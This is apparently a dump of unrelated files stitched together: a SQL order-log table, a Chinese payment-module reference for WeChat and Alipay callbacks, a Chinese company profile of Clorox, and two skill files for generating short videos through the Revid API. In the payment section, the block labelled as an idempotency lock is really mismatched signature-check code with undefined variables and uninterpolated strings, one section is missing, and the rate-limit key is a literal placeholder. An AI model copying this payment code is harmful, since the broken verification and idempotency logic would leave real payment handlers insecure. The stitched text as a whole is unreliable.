CREATE TABLE order_status_logs (
  id         BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  order_id   BIGINT UNSIGNED NOT NULL,
  from_status VARCHAR(32),
  to_status  VARCHAR(32) NOT NULL,
  operator   BIGINT UNSIGNED,
  reason     VARCHAR(255),
  created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
  FOREIGN KEY (order_id) REFERENCES orders(id)
);
```

> **Phase 1 状态机**：仅基础流转，无 version 乐观锁，无定时任务
> **Phase 2 状态机**：完整权限矩阵 + version 乐观锁 + 库存联动 + 审计日志
FILE:references/payment-module.md
# Payment 模块参考文档

## 一、支付架构

```
用户下单 → Cloud: 创建订单（SELECT FOR UPDATE） → 生成 out_trade_no
       → 微信/支付宝统一下单 API → 返回支付二维码/链接
       → 用户扫码支付
       → 支付平台回调 → Cloud: wx-notify/ali-notify
                              → Edge: 幂等锁 putIfNotExists
                              → Cloud: 业务处理
                              → 返回 SUCCESS
```

## 二、金额安全规则

```javascript
// 核心原则：金额永远从服务端 MySQL 读取，前端只传 productId + qty

// ❌ 危险：从前端接收金额
{ productId: "p001", qty: 1, price: 99.9 }  // 前端可控！

// ✅ 安全：Cloud Function 查 MySQL 获取价格
const [rows] = await pool.query(
  'SELECT price FROM products WHERE id = ? AND status = "active"',
  [productId]
);
const total = rows[0].price * quantity;  // 服务端计算，不可篡改
```

## 三、幂等原子锁（Edge + Cloud 协作）

```javascript
// Edge Function：cloud-functions/internal/idempotency.js
// Edge 是唯一能访问 KV 的运行时
export async function onRequest(context) {
  const { KV } = context.env;

  const nonce = request.headers.get('wechatpay-nonce');

  const message = `timestamp\nnonce\nrawBody\n`;
  const expectSign = createHmac('sha256', mchSecret).update(message).digest('base64');

  return signature === expectSign;
}
```

## 五、支付状态机

```
PENDING（待支付）
  ↓ 支付成功回调（幂等）
PAID（已支付，待发货）
  ↓ 管理员发货
SHIPPED（已发货）
  ↓ 确认收货/签收
COMPLETED（已完成）
  ↓ 超时/用户取消
CANCELLED（已取消）
  ↓
REFUNDED（已退款）
```

## 六、限流配置

```javascript
// /api/pay/create-order
const { allowed } = await rateLimit(request, `pay:userId`, 10, 60);
// 10 次/分钟/用户，超限返回 429
```

summary: 从漂白剂单一产品到多元化消费品牌帝国——Clorox如何用'品类杀手'策略统治家居清洁市场。
read_when:
  - 研究消费品牌多元化战略
  - 分析家居清洁行业竞争格局
  - 讨论品牌并购与整合案例
  - 了解疫情对清洁用品需求的影响
---

# Clorox

## 历史时间线
  - 1913: 5位企业家在加州创立Electro-Alkaline公司，首创液态漂白剂
  - 1916: 更名为Clorox Chemical Company，在纽约证券交易所上市
  - 1957: 被Purex收购（后更名为Clorox）
  - 1960s: 开始品牌并购，收购Glad、Kingsford、Brita等知名品牌
  - 1988: Clorox成为独立上市公司
  - 2020: 疫情期间清洁用品需求激增，营收创历史新高
  - 2023: 拥有约40个子品牌，涵盖清洁、食品、水处理等品类

## 商业模式
多品牌矩阵策略，覆盖从漂白剂到垃圾袋、木炭、净水器的多个消费场景。通过强大的渠道关系和供应链效率，在零售终端占据最大货架空间。

## 护城河分析
品牌组合壁垒+渠道议价力。Clorox漂白剂已成为品类代名词；旗下多个细分品类领导品牌形成协同效应；与沃尔玛、Target等零售巨头的长期合作关系难以复制。

## 关键数据
2023年营收约$73亿；旗下40+品牌中超过20个在各自品类排名前1或前2；Glad垃圾袋市占率超50%。

## 有趣事实
  - Clorox的'Clorox'商标已被通用化为漂白剂代名词，类似Kleenex之于面巾纸。
  - 疫情期间Clorox消毒湿巾一度成为比黄金还难买的硬通货。

name: revid-article-to-short
description: Turn any news article or long-form post URL into a 30–60 second 9:16 short with stock visuals, narration, and captions. Use when the user shares a link and wants an edited summary, not a talking-head.
metadata: {"openclaw":{"requires":{"config":["REVID_API_KEY"]}}}
---

# Article / news → short

Take any URL with a substantial article body and produce a vertical short with
voiceover + auto-cut stock b-roll + captions.

## When to use this skill

- Source is a news article, long-form blog, press release, or essay.
- Output goal: an **edited summary**, voiceover + visuals, 30–60 s.
- The user does NOT want a talking-head (use
  [`revid-blog-to-avatar-video`](../revid-blog-to-avatar-video/SKILL.md) for that).
- For e-commerce product pages prefer
  [`revid-shopify-product-promo`](../revid-shopify-product-promo/SKILL.md) — same
  workflow but tuned defaults.

## Inputs

| Field | Required | Notes |
|---|---|---|
| `url` | yes | Article URL |
| `aspectRatio` | no | Default `9:16` |
| `targetDuration` | no | Default 45 s |
| `language` | no | Auto-detected; override for non-English |

## Step-by-step

1. Validate the URL.
2. POST the payload below.
3. Poll `/status` (canonical loop in the Polling section below).
4. Return `videoUrl`.

## API call template

```http
POST /api/public/v3/render
Host: www.revid.ai
Content-Type: application/json
key: $REVID_API_KEY
```

```json
{
  "workflow": "article-to-video",
  "source": {
    "url": "{ARTICLE_URL}",
    "scrapingPrompt": "Summarize the article body. Skip ads, related links, navigation, and footer."
  },
  "aspectRatio": "9:16",
  "voice":    { "enabled": true, "stability": 0.6, "speed": 1.0, "language": "en-US" },
  "captions": { "enabled": true, "position": "middle", "autoCrop": true },
  "music":    { "enabled": true, "syncWith": "beats" },
  "media": {
    "type": "stock-video",
    "density": "medium",
    "animation": "soft",
    "quality": "pro",
    "videoModel": "pro",
    "imageModel": "good"
  },
  "options": {
    "targetDuration": 45,
    "summarizationPreference": "summarize",
    "soundEffects": true,
    "hasToGenerateCover": true,
    "coverTextType": "headline"
  },
  "render": { "resolution": "1080p", "frameRate": 30 }
}
```

## Examples

- [`examples/article-techreview.json`](examples/article-techreview.json)
- [`examples/run.sh`](examples/run.sh)

## Polling

After `POST /render`, poll until `status === "ready"`:

```bash
PID="<pid-from-render>"
while :; do
  R=$(curl -fsSL "https://www.revid.ai/api/public/v3/status?pid=$PID" \
        -H "key: $REVID_API_KEY")
  S=$(echo "$R" | jq -r .status)
  case "$S" in
    ready)  echo "$R" | jq .; break ;;
    failed) echo "FAILED: $R"; exit 1 ;;
    *)      sleep 5 ;;
  esac
done
```

In production prefer setting `webhookUrl` in the request body and skip polling.

## Failure modes

| Symptom | Fix |
|---|---|
| `scrape failed` | Pre-fetch the article body server-side and switch to [`revid-script-to-video`](../revid-script-to-video/SKILL.md) with the body in `source.text`. |
| Off-topic stock visuals | Pass a tighter `scrapingPrompt` (e.g. *"Focus on the financial markets angle, not the company history"*) and lower `media.density: "low"`. |
| Wrong language detected | Set `voice.language` and `options.language` explicitly. |
| Captions clip subjects | `captions.position: "top"`. |

name: revid-shopify-product-promo
description: Turn a Shopify (or any e-commerce) product page URL into a 30–45 second 9:16 promo video ready for TikTok / Reels / Shorts. Use when the user shares a product link and wants a short ad/promo, not a long-form review.

# Shopify product → promo video

Take a product page URL and produce a vertical promo video that pulls the
product image(s), name, key features, and price.

## When to use this skill

- Input is a single product page URL from Shopify, WooCommerce, BigCommerce, or
  any storefront with crawlable HTML (most stores).
- Output goal is a **promo / ad / launch teaser**, 30–45 s, vertical (9:16).
- The user wants Revid to extract the product details automatically. If they
  hand you a script instead, use [`revid-script-to-video`](../revid-script-to-video/SKILL.md).
- For a generic ad written from a product description (no live URL), use
  [`revid-product-description-to-ad`](../revid-product-description-to-ad/SKILL.md).

## Inputs

| Field | Required | Notes |
|---|---|---|
| `url` | yes | Public product page URL |
| `aspectRatio` | no | Defaults to `9:16` |
| `targetDuration` | no | Defaults to 35 (s) |
| `voiceId` | no | Default voice if omitted |
| `webhookUrl` | no | Skip polling if you can receive webhooks |

## Step-by-step

1. **Validate the URL** — must start with `http(s)://`. Reject obvious
   non-product paths (`/cart`, `/blog`, `/collections/all`).
2. **Optional pre-flight** — fetch the URL once with `HEAD` to confirm it
   returns 200. If 4xx, ask the user to confirm the link.
3. **Build the payload** (see template). Defaults are tuned for product promo:
   high `density`, dynamic animation, captions ON, music ON.
4. **POST `/api/public/v3/render`** — capture the returned `pid`.
5. **Poll `/status?pid=…`** with the canonical loop (see Polling section
   below) or wait for the webhook.
6. **Return** `{ pid, status, videoUrl, thumbnailUrl, durationSeconds, creditsUsed }`.

## API call template

```http
POST /api/public/v3/render
Host: www.revid.ai
Content-Type: application/json
key: $REVID_API_KEY
```

```json
{
  "workflow": "article-to-video",
  "source": {
    "url": "{PRODUCT_URL}",
    "scrapingPrompt": "Extract the product name, hero image, 3 key features, and price. Ignore reviews, related products, footer, and navigation."
  },
  "aspectRatio": "9:16",
  "voice":    { "enabled": true, "stability": 0.55, "speed": 1.05, "language": "en-US" },
  "captions": { "enabled": true, "position": "middle", "autoCrop": true },
  "music":    { "enabled": true, "syncWith": "beats", "trackName": "uplifting-pop" },
  "media": {
    "type": "stock-video",
    "density": "high",
    "animation": "dynamic",
    "quality": "pro",
    "imageModel": "good",
    "videoModel": "pro",
    "turnImagesIntoVideos": true,
    "applyStyleTransfer": false
  },
  "options": {
    "targetDuration": 35,
    "summarizationPreference": "summarize",
    "hasToGenerateCover": true,
    "coverTextType": "product-name",
    "soundEffects": true,
    "addStickers": false
  },
  "render": { "resolution": "1080p", "frameRate": 30 }
}
```

`scrapingPrompt` is the most important knob — it stops Revid from picking up
header/footer junk. Customize it per storefront if you find a recurring noise
pattern.

## Examples

- [`examples/shopify-aeropods.json`](examples/shopify-aeropods.json) — payload.
- [`examples/run.sh`](examples/run.sh) — end-to-end curl.

### Quick test

```bash
URL="https://your-shop.myshopify.com/products/your-product"

curl -s https://www.revid.ai/api/public/v3/render \
  -H "Content-Type: application/json" \
  -H "key: $REVID_API_KEY" \
  -d "$(jq --arg url "$URL" '.source.url=$url' \
        examples/shopify-aeropods.json)"
```

## Polling

After `POST /render`, poll until `status === "ready"`:

```bash
PID="<pid-from-render>"
while :; do
  R=$(curl -fsSL "https://www.revid.ai/api/public/v3/status?pid=$PID" \
        -H "key: $REVID_API_KEY")
  S=$(echo "$R" | jq -r .status)
  case "$S" in
    ready)  echo "$R" | jq .; break ;;
    failed) echo "FAILED: $R"; exit 1 ;;
    *)      sleep 5 ;;
  esac
done
```

In production prefer setting `webhookUrl` in the request body and skip polling.

## Failure modes

| Symptom | Fix |
|---|---|
| `scrape failed` / 403 from the URL | Storefront blocks bots. Open the page in a real browser, copy the title + 3 bullet features + price into a script, and switch to [`revid-script-to-video`](../revid-script-to-video/SKILL.md). |
| Video shows wrong product image | Storefront serves SSR via JS only. Pass `media.useOnlyProvided: true` and `media.provided: [{ url: "<hero-image-url>", type: "image" }]` to force the right asset. |
| Voice sounds robotic | Increase `voice.stability` to `0.7` and pick a specific `voice.voiceId`. Default voice varies. |
| Duration overshoots target | Set `options.summarizationPreference: "summarize"` (already in the template) and lower `targetDuration`. |
| Captions cover product | `captions.position: "top"` (or `"bottom"`). |
